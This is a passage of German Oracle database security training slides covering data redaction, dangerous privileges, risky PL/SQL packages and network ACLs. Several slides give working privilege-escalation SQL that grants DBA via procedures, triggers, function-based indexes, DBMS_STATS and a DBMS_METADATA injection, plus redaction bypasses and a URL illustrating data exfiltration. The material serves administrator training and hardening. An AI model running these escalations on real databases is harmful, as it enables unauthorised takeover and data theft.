Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-XXXX-1234
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 27
BEGIN DBMS_REDACT.ADD_POLICY(
object_schema => 'SCOTT', object_name => 'KREDIT_CARD', column_name => 'CARD_ID', policy_name => 'MASK_CARD_ID', expression => '1=1', function_type => DBMS_REDACT.REGEXP, regexp_pattern => '([[:digit:]]{4})-([[:digit:]]{4} )-
([[:digit:]]{4})-([[:digit:]]{4}) ', regexp_replace_string => 'XXXX-XXXX-\3', regexp_position => 1, regexp_occurrence => 0, regexp_match_parameter => 'in');
END;/
Macht aus: 1234-1234-1234-1234 => XXXX-XXXX-1234
Stichwörter: DBMS_REDACT; Beispiel
Security I 1 - 27
Probleme mit DBMS_REDACT
Sie können sowohl in der WHERE wie auch in der HAVING Bedingung nach geschützten Werten fragen
SELECT * FROM scott.credit_cardWHERE card_id='1234-1234-1234-1234';
CUST_NAME CARD_ID---------- -------------------Marco XXXX-XXXX-XXXX-1234
Die verschleierten Werte spiegeln sich auch in (Gru ppen) Funktionen wider.
Zufallswerte (RANDOM) können sehr verwirrend wirken .
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 28
Bei installierter Multi-Media Option geht auch:select * from scott.credit_card where1=ordsys.ord_dicom.getmappingxpath((card_id),user,u ser);ERROR at line 1:ORA-53044: invalid tag: 1234-1234-1234-1234ORA-06512: at "ORDSYS.ORDERROR", line 5
Security I 1 - 28
Security Bug in 12.1.0.1
Leider hat Oracle vergessen die Returning Klausel b eim Update in die Redaction einzubeziehen. Bug wurde in 12.1.0.2 gefixt ! (9.9.2014)
DECLARES VARCHAR2(100);BEGINUPDATE credit_card SET cust_name=cust_nameWHERE cust_name='Marco'RETURNING card_id INTO s;dbms_output.put_line(s);END;=>1234-1234-1234-4444
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 29
Security I 1 - 29
Kapitel 2Rechte & Rollen
Security I 2 - 1
Einleitung
Oracle´s Rechte und Rollenverwaltung ist schwer zu überblicken
über 36.000 Rechte in 12.1 sind allein an Public ve rgeben (davon ca. 30.000 Java Rechte)
Rechte können nicht nur direkt, sondern auch indire kt vergeben werden
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 2
Stichwörter:
Security I 2 - 2
Einleitung (f)
Durch die stetige Erweiterung der Rechte und Rollenverwaltung werden immer neue Sicherheitslücke n aufgerissen.
Viele Benutzer sind sich nicht im Klaren, welche Auswirkung diverse Rechte haben
Besondere Vorsicht ist angebracht bei Rechten, die an Public vergeben wurden, bzw. Rechte mit dem ANY-Privileg
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 3
UNLIMITED TABLESPACE bedeutet, dass der Benutzer auf JEDEM Tablespace beliebig viel Platz verwenden darf. Dieses Recht ist bei der Rolle RESOURCE und DBA dabei!Die RESOURCE Rolle sollte deshalb nicht mehr benutzt werden. Sie können eine eigene Ressource Rolle definieren, die ohne UNLIMITED TABLESPACE angelegt wird.Die DBA Rolle sollte nur an ausgewählte Benutzer vergeben werden. Entwickler sollten ggf. eine eigens definierte Rolle mit den gewünschten Rechten bekommen.
Stichwörter:
Security I 2 - 3
Rechte bei Rollen
Achten Sie bei der Vergabe von Rechten auf folgende Punkte
UNLIMITED TABLESPACE bedeutet, dass der Benutzer au f JEDEM Tablespace beliebig viel Platz verwenden darf .
Dieses Recht ist bei der Rolle RESOURCE (bis 11.2) und DBA dabei!
Die RESOURCE Rolle sollte nicht mehr benutzt werden
Definieren Sie sich eine eigene Rolle mit folgenden Rechten:CREATE TYPE evtl. CREATE OPERATOR
CREATE TABLE evtl. CREATE CLUSTER
CREATE SEQUENCE evtl. CREATE TRIGGER
CREATE INDEXTYPE evtl. CREATE PROCEDURE
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 4
Stichwörter: Rechte bei Rollen, UNLIMITED TABLESPAC E, RESOURCE
Security I 2 - 4
Rechte mit ANY
Alle Privilegien mit einem ANY im Namen können auf jedem Schema angewendet werden z. B.:
DROP ANY TABLE
SELECT ANY TABLE
GRANT ANY PRIVILEGE
DROP ANY PROCEDURE
EXECUTE ANY PROCEDURE
Vergeben Sie diese Rechte nur mit äußerster Vorsich t
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 5
ALTER ANY CLUSTERALTER ANY DIMENSIONALTER ANY INDEXALTER ANY INDEXTYPEALTER ANY LIBRARYALTER ANY OUTLINEALTER ANY PROCEDUREALTER ANY ROLEALTER ANY SEQUENCEALTER ANY SNAPSHOTALTER ANY TABLEALTER ANY TRIGGERALTER ANY TYPEANALYZE ANYAUDIT ANYBACKUP ANY TABLECOMMENT ANY TABLECREATE ANY CLUSTERCREATE ANY CONTEXTCREATE ANY DIMENSIONCREATE ANY DIRECTORYCREATE ANY INDEXCREATE ANY INDEXTYPECREATE ANY LIBRARY
CREATE ANY OPERATORCREATE ANY OUTLINECREATE ANY PROCEDURECREATE ANY SEQUENCECREATE ANY SNAPSHOTCREATE ANY SYNONYMCREATE ANY TABLECREATE ANY TRIGGERCREATE ANY TYPECREATE ANY VIEWDELETE ANY TABLEDEQUEUE ANY QUEUEDROP ANY CLUSTERDROP ANY CONTEXTDROP ANY DIMENSIONDROP ANY DIRECTORYDROP ANY INDEXDROP ANY INDEXTYPEDROP ANY LIBRARYDROP ANY OPERATORDROP ANY OUTLINEDROP ANY PROCEDUREDROP ANY ROLEDROP ANY SEQUENCE
DROP ANY SNAPSHOTDROP ANY SYNONYMDROP ANY TABLEDROP ANY TRIGGERDROP ANY TYPEDROP ANY VIEWENQUEUE ANY QUEUEEXECUTE ANY INDEXTYPEEXECUTE ANY LIBRARYEXECUTE ANY OPERATOREXECUTE ANY PROCEDUREEXECUTE ANY TYPEEXTENDS ANY TYPEFORCE ANY TRANSACTIONGRANT ANY PRIVILEGEGRANT ANY ROLEINSERT ANY TABLELOCK ANY TABLEMANAGE ANY QUEUESELECT ANY SEQUENCESELECT ANY TABLEUPDATE ANY TABLE
Mittels des ALTER SESSION Rechts ist es möglich, Trace-Dateien zu erzeugen, in denen dann sensible Daten stehen können. So könnte man z. B. die sensiblen Daten eines Benutzers in einer Trace-Datei finden.
Entweder entziehen Sie den Benutzern dieses Recht, oder Sie schützen das User Dump Verzeichnis (meist <ORACLE_HOME> /admin/<sid>/udump) weil die Trace-Dateien dorthin abgelegt werden.
Der undokumentierte Parameter _TRACE_FILES_PUBLIC sollte nicht auf TRUE gesetzt sein, weil sonst die Trace-Dateien leichter von fremden Benutzern gelesen werden können
Stichwörter:Rechte, ANY
Security I 2 - 5
Gefährliche Rechte
System-Recht Beschreibung
ALTER USER Mit diesem Recht können die Passwörter von anderen Benutzen geändert werden (auch SYS!)Dieses Recht ist nur in der DBA-Rolle vorhanden
ALTER SESSION Damit können Parameter für die Session manipuliert werden (z.B. sort_area_size) oder ALTER SESSION SET current_schema=SYS;Damit kann man einfacher auf SYS-Objekte zugreifen (wenn man die Leserechte daran besitzt)
CREATE LIBRARY Mit diesem Recht können Sie Bibliotheken z.B. basierend auf Windows C-Dll´s erstellenDieses Recht ist nur in der DBA-Rolle vorhanden
CREATE ANY DIRECTORY
Damit kann ein Verzeichnis angelegt werden, in das man dann Daten schreibt (External Tables (10g), Datapump (10g)Ab Version 9.2 benutzt auch utl_file DirectoriesDieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthaltenAchtung hiermit könnten z.B. Datendateien/Redologdateien oder Controldateien überschrieben werden
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 6
Beispiel zur LibraryZuerst muss der Listener angepasst werden(SID_DESC =
(SID_NAME = PLSExtProc) (ORACLE_HOME = d:\oracle\ora102)(PROGRAM = extproc)(ENVS="EXTPROC_DLLS=ANY")
) Für Testzwecke kann die flexiblere aber unsichere Einstellung verwendet werden:
• (ENVS="EXTPROC_DLLS=ANY")Aus Sicherheitsgründen sollte aber nur ein Verzeichnis/DLL angegeben werden
• (ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\pcporacle .dll")bzw. zwei
• (ENVS="EXTPROC_DLLS=c:\oracle\ora102\lib\myoracle. dll:c:\work\myinhouse.dll")
Danach wird die TNSNAMES.ORA editiertEXTPROC_CONNECTION_DATA =
(DESCRIPTION =(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC0)))
(CONNECT_DATA =(SID = PLSExtProc)(PRESENTATION = RO)
))
Es muss eine sogenannte Library erzeugt werden, in der dann die DLL liegt:• CREATE LIBRARY ExternProcedures AS
'c:\winnt\system32\projekt1.dll'; /
Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY
Security I 2 - 6
Gefährliche Rechte
System-Recht Beschreibung
CREATE USER Anlegen eines Benutzers mit DBA RechtenDieses Recht ist in der DBA-Rolle enthalten
BECOME USER Hiermit können Sie die Objekte eines fremden Benutzers beim Import in Ihr Schema einspielenDieses Recht ist in der DBA und IMP_FULL_DATABASE Rolle enthalten
CREATE JOB Dieses Recht gestattet die Ausführung von Jobs zu einer beliebigen TageszeitDieses Recht ist in der DBA und EXP_FULL_DATABASE Rolle enthaltenAb Version 10g gibt es noch ein Zusatzrecht (MANAGE SCHEDULE) mit dem der Zeitplan eingestellt werden kann
CREATE EXTERNAL JOB
Ausführen eines externen Jobs (z.B. mkdir, rm, del, …)
CREATE DATABASE LINK
Ist in der DBA Rolle enthalten und ermöglicht die Verbindung zu einer Remote DatenbankPasswörter der DB Links sind schlecht verschlüsselt!!!
EXECUTE ANY PROCEDURE
Beliebige Prozeduren von fremden Benutzern ausführbar wie z.B.:exec dbms_repcat_admin.grant_admin_any_schema( 'OUTLN'); /* Vergibt DBA Rechte an OUTLN*/ exec utl_file, utl_smtp, utl_mail , ....
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 7
Stichwörter: Gefährliche Rechte, CREATE LIBRARY, CREATE ANY DIRECTORY, CREATE DATABASE LINK, EXECUTE ANY PROCEDURE
Security I 2 - 7
Gefährliche Rechte
System-Recht Beschreibung
SELECT ANY DICTIONARY Damit können Tabellen aus den Data Dictionary angesehen werdenDieses Recht kann jedoch nicht über den GRANT ALL PRIVILEGES Befehl vergeben werden
EXEMPT ACCESS POLICY Damit können die Policies des dbms_fga Package umgangen werden
SELECT ANY TRANSACTION
Erlaubt das Zurücksetzen einer Transaktion mittels Flashback.Vor Version 10g war der Name FLASHBACK ANY TRANSACTION.
FLASHBACK ANY TABLE Erlaubt das Zurücksetzen einer Tabelle auf einen alten Stand mittels Flashback, ohne dass ein Backup eingespielt werden muss
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 8
Stichwörter:Gefährliche Rechte, GRANT ANY PRIVILEGE , GRANT ANY PRIVILEGE
Security I 2 - 8
Privilegien-Eskalation
Vorhandene Rechte: EXECUTE ANY PROCEDURE + CREATE ANY PROCEDURE
CREATE OR REPLACE PROCEDURE system.getdba ASBEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT';END;
EXEC SYSTEM.getdba;
SET Role dba;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 9
Security I 2 - 9
Privilegien-Eskalation (f)
Vorhandene Rechte: CREATE ANY TRIGGER
GRANT EXECUTE on getdba TO system;
CREATE OR REPLACE TRIGGER system.ol$itrBEFORE INSERT ON system.ol$ FOR EACH ROWBEGIN
scott.getdba;END;
INSERT INTO system.ol$(category)VALUES ('X');
SET Role dba;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 10
Security I 2 - 10
Privilegien-Eskalation (ff)
Vorhandene Rechte: CREATE ANY INDEX und CREATE PROCEDURE
CREATE OR REPLACE FUNCTION scott.getdba (x CHAR) RETURN varchar2 deterministicauthid current_user ASPRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT ';RETURN upper(x);END;
GRANT execute on getdba to system;
CREATE INDEX system.ol$inddba ON system.ol$( scott.getdba (version)); --FBI
INSERT INTO system.ol$(version) values ('x');
SET Role dba;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 11
Security I 2 - 11
Privilegien-Eskalation (ff)
Vorhandene Rechte: ANALYZE ANY
CREATE OR REPLACE FUNCTION getdba (x char)return char deterministicAUTHID current_user IS
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 'GRANT dba TO SCOTT';
RETURN upper(x);END;
BEGIN dbms_stats.gather_table_stats('SYSTEM','HELP' ,method_opt=>'for columns ( scott.getdba(info) ) size auto'));END;
SET ROLE DBA
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 12
Security I 2 - 12
ADMIN OPTION
Sie können bei Rechten auch immer angeben, dass dieses Recht auch weiter gegeben werden kann
Bei System-Rechten:
GRANT SELECT ANY TABLE TO scottWITH ADMIN OPTION;
Bei Objekt-Rechten
GRANT SELECT ON emp TO scottWITH GRANT OPTION;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 13
Stichwörter:ADMIN OPTION
Security I 2 - 13
Public Rechte (ff)
Der Benutzer PUBLIC sollte über möglichst wenig Rec hte verfügen, da ein Hacker der einen beliebigen Accoun t geknackt hat, dann diese Rechte bekommt
Vergeben Sie nicht die Rolle RESOURCE an PUBLIC, da sie bis 11.2.0.4 über das Recht UNLIMITED_TABLESPACE verfüg t!
Mit folgendem SELECT wird geprüft, welche System-Re chte an Public vergeben wurden:
SELECT * FROM dba_sys_privs WHERE grantee = 'PUBLIC';
Objektrechte an Public vergeben:SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC';
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 14
Eigentlich gibt es keinen Benutzer Public, denn ein Anmelden an der Datenbank unter diesem Namen scheitert. Jedoch wird er innerhalb wie ein virtueller Benutzer gehandhabt, da er der Empfänger von Rechten sein kann. Rechte, die an Public vergeben worden sind, bekommen alle Benutzer beim Anmelden. Deshalb sollte er über möglichst wenig Rechte verfügen, da ein Hacker, der einen beliebigen Account geknackt hat, dann diese Rechte auch bekommt.
SQL> GRANT RESOURCE TO public;Benutzerzugriff (Grant) wurde erteilt.
SQL> SELECT * FROM dba_sys_privs WHERE grantee = 'PUBLIC';GRANTEE PRIVILEGE ADM----------- ---------------------------------- -------PUBLIC UNLIMITED TABLESPACE NO
Hier wird geprüft, welche Rollen an Public vergeben worden sind:SQL> SELECT * FROM dba_role_privs WHERE grantee = 'PUBLIC';GRANTE GRANTED_ROLE ADM DEF--------------- ----------------------------- ----- -------PUBLIC RESOURCE NO YES
SQL> SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC';GRANTEE OWNER TABLE_NAME GRANTOR ------------------------ ---------------------------- -----------------------PUBLIC SYS USER_PART_TABLES SYS PUBLIC SYS ALL_PART_TABLES SYS PUBLIC SYS USER_PART_INDEXES SYS …Rechte von Public werden mittels Revoke entzogen, Beispiel: REVOKE CONNECT FROM public;
Stichwörter: Rechte
Security I 2 - 14
PUBLIC Rechte entziehen
REVOKE EXECUTE ON utl_smtp FROM public;
REVOKE EXECUTE ON utl_file FROM public;
REVOKE EXECUTE ON utl_http FROM public;
REVOKE EXECUTE ON utl_tcp FROM public;
REVOKE EXECUTE ON dbms_random FROM public;
REVOKE EXECUTE ON dbms_metadata FROM public;
REVOKE EXECUTE ON dbms_mail FROM public;
Dafür Rechte explizit an die Benutzer:
GRANT EXECUTE ON dbms_mail to SCOTT; …
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 15
Allgemeine Syntax:
Rechte werden entzogen mittels:• REVOKE EXECUTE ON <package> FROM public;
Vergeben wieder mittels:• GRANT EXECUTE ON <package> TO public;
Alternativ können die Rechte in einer neuen Rolle gebündelt werden, die dann im Notfall einem Benutzer zugewiesen wird:
CREATE ROLE DBA_DBMS_PACK;GRANT EXECUTE ON UTL_FILE TO DBA_DBMS_PACK;GRANT EXECUTE ON UTL_TCP TO DBA_DBMS_PACK;
Stichwörter: PUBLIC Rechte entziehen
Security I 2 - 15
Gefährliche Packages
DBMS_XMLSTORE
Ermöglicht das Eintragen von Zeilen in andere Tabel len
So könnte man sich zusätzliche Rechte geben, durch Manipulation der sys.sysauth$ Tabelle
Lösung
EXECUTE Rechte von Public entziehen und ggf. einer Rolle oder einem Benutzer direkt geben
REVOKE EXECUTE ON dbms_xmlstore FROM PUBLIC;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 16
Security I 2 - 16
Gefährliche Packages
UTL_HTTP
Damit können Webseiten angefordert und empfangen werden.
Sie können natürlich auch mittels CGI-Parameter Wer te an eine Webseite übermitteln
http://www.muniqsoft.de?para1=Geheime_Nachricht_aus_der_oracle_db_passwort_sys_erzuezru
Hinweis: Ab 11g verhindert eine Firewall eine Portz ugriff auf andere Server
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 17
Beispiel:
declaret_result
varchar2(4000);begin
t_result := utl_http.request('http://www.muniqsoft. de');end;/
REM oder mit einer PL/SQL Tabelle in der die Zeilen gespeichert werden
declaret_part
utl_http.html_pieces;begin
t_part := utl_http.request_lines('http://www.muniqs oft.de/index.html');for i in 1 .. t_part.count loop
-- proces t_part(i);end loop;
end;/
Stichwörter: Gefährliche Packages, UTL_HTTP
Security I 2 - 17
Gefährliche Packages
UTL_TCP
Daten können via TCP gesendet oder empfangen werden (siehe Beispiel)
Testen wer welche Rechte auf dem Package besitzt:
SELECT * FROM dba_tab_privs WHERE table_name='UTL_TCP';
Hinweis: Ab 11g verhindert eine Firewall eine Portz ugriff auf andere Server
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 18
Beispiel:
CREATE OR REPLACE PROCEDURE SEND_MAIL_TCP (msg_from VARCHAR2 := 'm.patzwahl@muniqsoft.de'
, msg_to VARCHAR, msg_subject VARCHAR2 := 'Nachrichtenüberschrift', msg_text VARCHAR2 := ''
)IS
c UTL_TCP.CONNECTION;rc INTEGER;
BEGIN c := UTL_TCP.OPEN_CONNECTION('localhost', 25);-- SM TP Port (lokal öffnen)rc := UTL_TCP.WRITE_LINE(c, 'HELO localhost'); rc := UTL_TCP.WRITE_LINE(c, 'MAIL FROM: '||msg_from ); rc := UTL_TCP.WRITE_LINE(c, 'RCPT TO: '||msg_to); rc := UTL_TCP.WRITE_LINE(c, 'DATA'); -- St art message body rc := UTL_TCP.WRITE_LINE(c, 'Subject: '||msg_subjec t); rc := UTL_TCP.WRITE_LINE(c, ''); rc := UTL_TCP.WRITE_LINE(c, msg_text); rc := UTL_TCP.WRITE_LINE(c, '.'); -- En d of message body rc := UTL_TCP.WRITE_LINE(c, 'QUIT');UTL_TCP.CLOSE_CONNECTION(c); -- Cl ose the connection
EXCEPTION WHEN others THEN
RAISE_APPLICATION_ERROR(-20000, 'Nachricht konnte n icht versendet werden'); END;/ show errors
EXEC SEND_MAIL_TCP ( msg_to => 'm.patzwahl@muniqsof t.de', msg_text => 'Das ist eine Email via utl_tcp');
Stichwörter:Gefährliche Packages, UTL_TCP
Security I 2 - 18
Gefährliche Packages
UTL_SMTP
Mit diesem Package können z.B. Emails verschickt we rden (siehe Beispiel)
Ab der Version 10g wird die Versendung von emails w eiter vereinfacht mittels des Packages dbms_mail
Hinweis: Ab 11g verhindert eine Firewall eine Portz ugriff auf andere Server
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 19
Beispiel:
DECLAREv_sender VARCHAR2(2000) := 'bratt.pitt@muniqsoft.de ';v_rec VARCHAR2(2000) := 'marco.patzwahl@gmx.de';v_host VARCHAR2(2000) := '10.12.0.16';v_con UTL_SMTP.connection;crlf VARCHAR2(2) := chr(13)||chr(10);BEGIN
dbms_output.put_line('Starte Emailversand an:'||v_r ec);v_con := UTL_SMTP.open_connection(v_host, 25);UTL_SMTP.helo(v_con, v_host);UTL_SMTP.mail(v_con, v_sender);UTL_SMTP.rcpt(v_con, v_rec);UTL_SMTP.open_data(v_con); UTL_SMTP.write_data(v_con,'To:
'||v_rec||'<'||v_rec||'>'||crlf);UTL_SMTP.write_data(v_con,'Subject: Hallo Welt'||cr lf);
UTL_SMTP.write_data(v_con,'Zeile1'||crlf); UTL_SMTP.write_data(v_con,'Zeile2'||crlf); UTL_SMTP.close_data(v_con);UTL_SMTP.quit(v_con);dbms_output.put_line('Emailversand abgeschlossen');
EXCEPTIONWHEN others THEN
UTL_SMTP.quit(v_con);DBMS_OUTPUT.put_line(sqlerrm) ;
END; /
Stichwörter: Gefährliche Packages, UTL_SMTP
Security I 2 - 19
Gefährliche Packages
UTL_FILEDieses Package ermöglicht den lesenden oder schreib enden Zugriff auf Dateien im Betriebssystem
Beispiel:CREATE OR REPLACE DIRECTORY temp AS 'C:\TEMP';
EXEC UTL_FILE.FREMOVE('TEMP', '<datei>')
Gefahr ist hier groß, da ein EXECUTE RECHT an PUBLI C existiert
Auf keinen Fall den Parameter utl_file_dir auf '*' setzen
Mögliche Angriffe:Lesen der Passwort-Datei
Erzeugen/ergänzen der autoexec.bat Datei unter Wind ows
Erzeugen/ergänzen der .rhost Datei unter Unix
Überschreiben von Log-. Daten-, oder Controldateien
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 20
Stichwörter: Gefährlihe Packages UTL_FILE
Security I 2 - 20
Gefährliche Packages
DBMS_METADATA
Dieses Package wird für Reverse Engineering Zwecke verwendet. Es kann CREATE TABLE oder CREATE INDEX Befehle für die bestehenden Objekte erzeugen
Leider hat es einen Bug, mit dem ein Angreifer DBA Rechte erlangen kann
Gefahr ist hier hoch da die EXECUTE Rechte an Publi c vergeben worden sind
SELECT * FROM dba_tab_privs WHERE grantee = 'PUBLIC' and table_name='DBMS_METADATA';
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 21
CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" re turn varchar2authid current_user aspragma autonomous_transaction;BEGINEXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';COMMIT;RETURN '';END;/
SELECT SYS.DBMS_METADATA.GET_DDL( '''||SCOTT.ATTACK_FUNC()||''','') FROM dual;
Stichwörter: Gefährliche Packages, DBMS_METADATA
Security I 2 - 21
Ports sperren/freigeben (ab 11g)
Wenn über die folgenden Packages kommuniziert wird, besteht immer das Risiko, dass Daten aus der DB gestohlen werden
UTL_SMTP
UTL_HTTP
UTL_TCP
Ab 11g lassen sich nun diverse Ports sperren bzw. freigeben
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 22
Security I 2 - 22
Ports sperren/freigeben (ab 11g)
Neue Direktive mit Namen utl_sec_pkg.xml erzeugen
begin dbms_network_acl_admin.create_acl ( acl => 'utl_sec_pkg.xml', description => 'Normal Access', principal => 'CONNECT', is_grant => TRUE, privilege => 'connect', start_date => null, end_date => null ); end; /
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 23
Security I 2 - 23
Ports sperren/freigeben (ab 11g)
Benutzer Scott in die Direktive eintragen
begin dbms_network_acl_admin.add_privilege ( acl => 'utl_sec_pkg.xml', principal => 'SCOTT', is_grant => TRUE, privilege => 'connect', start_date => null, end_date => null); end;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 24
Security I 2 - 24
Ports sperren/freigeben (ab 11g)
Ports von 22 bis 55 freigeben
begin dbms_network_acl_admin.assign_acl ( acl => 'utlpkg.xml', host => 'www.muniqsoft.de', lower_port => 22, upper_port => 55); end;
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 25
Security I 2 - 25
Ports sperren/freigeben (ab 11g)
Test:
SELECT utl_http.request('http://www.muniqsoft.de') FROM dual;
* ERROR at line 1: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-24247: network access denied by access control list (ACL) ORA-06512: at line 1
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 26
Security I 2 - 26
Fine Grain Access ab 12c
Bisher wurden ACLs für die Freigabe der Benutzung v on fremden Servern/Ports verwendet.
Neue Packageaufrufe vereinfachen diese Aufgabe nun.
Folgende neue Views stehen zur Verfügung
DBA_HOST_ACLS
USER_HOST_ACES und DBA_HOST_ACES
Übliche Fehlermeldung, wenn ACLs nicht gesetzt sindORA-29273: HTTP-Anforderung nicht erfolgreichORA-06512: in "SYS.UTL_HTTP", Zeile 1817ORA-24247: Netzwerkzugriff von Access Control-Liste (ACL) abgelehntORA-06512: in "SYS.HTTPURITYPE", Zeile 41
MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-27
Alte DBMS_NETWORK_ACL_ADMIN Prozedur Neue entsprechende Proceduren
CREATE_ACL APPEND_HOST_ACE
ADD_PRIVILEGE APPEND_WALLET_ACE
ASSIGN_ACL
ASSIGN_WALLET_ACL
N/A APPEND_HOST_ACL
N/A APPEND_WALLET_ACL
DELETE_PRIVILEGE REMOVE_HOST_ACE
DROP_ACL REMOVE_WALLET_ACE
UNASSIGN_ACL
UNASSIGN_WALLET_ACL
CHECK_PRIVILEGE Keine vorhanden
CHECK_PRIVILEGE_ACLID Keine vorhanden
N/A SET_HOST_ACL
N/A SET_WALLET_ACL
Stichwörter: ACL
Security I 2 - 27
DBMS_NETWORK_ACL_ADMIN ab 12c
Prozedurname Funktion
APPEND_HOST_ACE Neuen Host zur Freigabeliste hinzufügen
APPEND_WALLET_ACE Walletbenutzung freigeben
REMOVE_HOST_ACE Host von Freigabeliste entfernen
REMOVE_WALLET_ACE Freigabe für Walletbenutzung zurücknehmen
SET_HOST_ACL Neue Portfreigabe für Host und Ports definieren. Sollten vom Benutzer nicht manuell gesetzt werden
SET_WALLET_ACL Einsetzen der ACL für ein Wallet.Sollten vom Benutzer nicht manuell gesetzt werden
MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-28
Hinweis:
Manuelles Hinzufügen von Portfreigaben zu einer existierenden ACL:
SELECT host,acl FROM DBA_HOST_ACLS;=> www.muniqsoft.de NETWORK_ACL_E12C7B39D3AF1DB9E04 30100007FFC4F
BEGINDBMS_NETWORK_ACL_ADMIN.SET_HOST_ACL (
host=>'www.muniqsoft.de',lower_port=>81,upper_port=>null,acl=>'NETWORK_ACL_E12C7B39D3AF1DB9E0430100007FFC4F' );
END;
Stichwörter: ACL
Security I 2 - 28
Beispiel zu APPEND_HOST_ACE (12c)
BEGINDBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACE(
host => ' www.muniqsoft.de ', lower_port => 80, -- Portnummerupper_port => NULL,ace => xs$ace_type(
privilege_list => xs$name_list(' http '), principal_name => ' SCOTT',principal_type => xs_acl.ptype_db));
END;
Hinweis:
Wenn upper_port=NULL gilt lower_port=upper_port
MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-29
Syntax
DBMS_NETWORK_ACL_ADMIN.APPEND_HOST_ACL ( host IN VARCHAR2, lower_port IN PLS_INTEGER DEFAULT NULL, upper_port IN PLS_INTEGER DEFAULT NULL, acl IN VARCHAR2);
Stichwörter: ACE
Security I 2 - 29
Parameter zu APPEND_HOST_ACE (12c)
Privilege List kann sein
'smtp' Zugriff nur via UTL_SMTP und UTL_MAIL
'http' Zugriff via UTL_HTTP Package und HttpUriTy pe
'http_proxy' Zugriff via UTL_HTTP Package und Http UriType wenn über einen Proxy kommuniziert wird
'connect' Zugriff via UTL_TCP, UTL_SMTP, UTL_MAIL , UTL_HTTP, und DBMS_LDAP Packages, der dem Typ HttpUriType
Principal Name kann sein
Ein Datenbankbenutzer (z.B. SCOTT)
Eine Rolle (z.B. MY_APP_ROLE)
Principal Type kann sein
XS_ACL.PTYPE_DB für Datenbankbenutzer/Rolle
XS_ACL.PTYPE_XS Für Real Application Security Benut zer
MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-30
Stichwörter: ACE
Security I 2 - 30
Beispiel zu REMOVE_HOST_ACE (12c)
BEGINDBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE (
host => ' www.muniqsoft.de ', lower_port => 80, upper_port => null, ace => xs$ace_type(
privilege_list => xs$name_list(' http '), principal_name => ' SCOTT',principal_type => xs_acl.ptype_db),
remove_empty_acl => TRUE);END;
MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-31
Syntax
DBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE ( host IN VARCHAR2, lower_port IN PLS_INTEGER DEFAULT NULL, upper_port IN PLS_INTEGER DEFAULT NULL, ace IN XS$ACE_TYPE, remove_empty_acl IN BOOLEAN DEFAULT FALSE);
Stichwörter: ACE
Security I 2 - 31
ACL Views
SELECT acl_owner, host, lower_port, upper_portFROM dba_host_acls;
SELECT * FROM dba_host_aces;
MuniQSoft GmbH Kapitel 4 - Security Ora12c 4-32
Stichwörter: ACL; View
Security I 2 - 32
12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.)
Die Recht von Usern kann man sich leicht über die diversen Data Dictionary-Views oder DBMS_METADATA.GET_GRANTED_DDL anzeigen
Das in 12c neue Package DBMS_PRIVILEGE_CAPTURE ermöglicht darüber hinaus einen Vergleich der vergebenen Rechte und Rollen mit denen, die wirklic h benutzt werden, so dass man die Rechtevergabe besse r maßschneidern und minimieren kann.
Benötigte Rechte:
CAPTURE_ADMIN Rolle
Benötigte Lizenz: EE + Database Vault Option
MuniQSoft GmbH Kapitel 2 - Rechte & Rollen Security I 2 - 33
Stichwörter: PRIVILEGE, DBMS_PRIVILEGE_CAPTURE
Security I 2 - 33
Ablauf der Rechteerfassung
